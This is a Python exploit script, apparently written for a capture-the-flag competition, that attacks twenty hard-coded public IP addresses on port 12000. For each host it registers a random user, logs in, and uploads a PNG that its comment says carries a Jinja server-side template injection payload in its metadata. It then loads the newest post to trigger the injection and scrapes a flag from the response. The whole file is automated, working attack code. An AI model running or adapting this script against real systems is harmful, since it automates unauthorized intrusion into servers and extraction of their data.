import os import re import random import string from pathlib import Path import requests print("SSTI (Vuln) Exploit — Testing Multiple Hosts") # List of IP addresses to test HOSTS = [ "54.179.69.160", "47.128.239.219", "18.141.25.211", "13.250.48.226", "52.221.249.62", "52.221.188.80", "13.213.42.191", "54.169.118.58", "18.141.209.30", "54.169.155.68", "3.0.177.253", "13.250.47.208", "47.129.37.150", "3.1.222.146", "13.229.198.100", "54.151.150.157", "13.229.207.1", "18.136.107.63", "52.77.233.125", "18.141.184.213" ] PORT = "12000" TIMEOUT = float(os.environ.get("TIMEOUT", "5")) # seconds def rnd(n=8): alpha = string.ascii_lowercase + string.digits return ''.join(random.choices(alpha, k=n)) def ok_or_redirect(resp): return 200 <= resp.status_code < 400 def test_host(host): print(f"\n[+] Testing host: {host}") HOST = f"http://{host}:{PORT}" REGISTER_URL = f"{HOST}/register" LOGIN_URL = f"{HOST}/login" UPLOAD_URL = f"{HOST}/upload" HOME_URL = f"{HOST}/" USERNAME = rnd() PASSWORD = rnd() LOCAL_IMAGE = os.environ.get("IMG", "ssti.png") # PNG with Jinja payload in metadata s = requests.Session() s.headers.update({"User-Agent": "ssti-exp/1.0"}) try: # 1) Register r = s.post(REGISTER_URL, data={"username": USERNAME, "password": PASSWORD}, allow_redirects=True, timeout=TIMEOUT) print(f"[i] Register -> {r.status_code} | redirected={bool(r.history)}") if not ok_or_redirect(r): print("[x] Registration failed") return False print(f"[+] Registered: {USERNAME}:{PASSWORD}") # 2) Login r = s.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD}, allow_redirects=True, timeout=TIMEOUT) print(f"[i] Login -> {r.status_code} | redirected={bool(r.history)}") if not ok_or_redirect(r): print("[x] Login failed") return False print("[+] Logged in") # 3) Upload image img_path = Path(LOCAL_IMAGE) if not img_path.exists(): print(f"[x] Local image not found: {LOCAL_IMAGE}") return False with img_path.open("rb") as fh: files = {"image": (img_path.name, fh, "image/png")} data = {"title": "SSTI Exploit"} r = s.post(UPLOAD_URL, data=data, files=files, allow_redirects=True, timeout=TIMEOUT) print(f"[i] Upload -> {r.status_code} | redirected={bool(r.history)}") if not ok_or_redirect(r): print("[x] Upload failed") return False print("[+] Upload complete") # 4) Get latest post ID r = s.get(HOME_URL, timeout=TIMEOUT) print(f"[i] Home -> {r.status_code}") if r.status_code != 200: print("[x] Failed to load home") return False post_ids = re.findall(r'/post/(\d+)', r.text) if not post_ids: print("[-] No posts found on home.") return False pid = max(map(int, post_ids)) post_url = f"{HOST}/post/{pid}" print(f"[+] Newest post: {post_url}") # 5) Trigger SSTI and find flag r = s.get(post_url, timeout=TIMEOUT) print(f"[i] Post -> {r.status_code}") m = re.search(r"GEMASTIK18\{[^}]*\}", r.text) if m: print(f"[+] Flag found on {host}: {m.group(0)}") return True else: print("[-] Flag not found in response.") print(r.text[:1200]) return False except requests.exceptions.RequestException as e: print(f"[x] Error testing {host}: {e}") return False # Test all hosts for i, host in enumerate(HOSTS, 1): print(f"\n=== Testing Group {i}: {host} ===") test_host(host)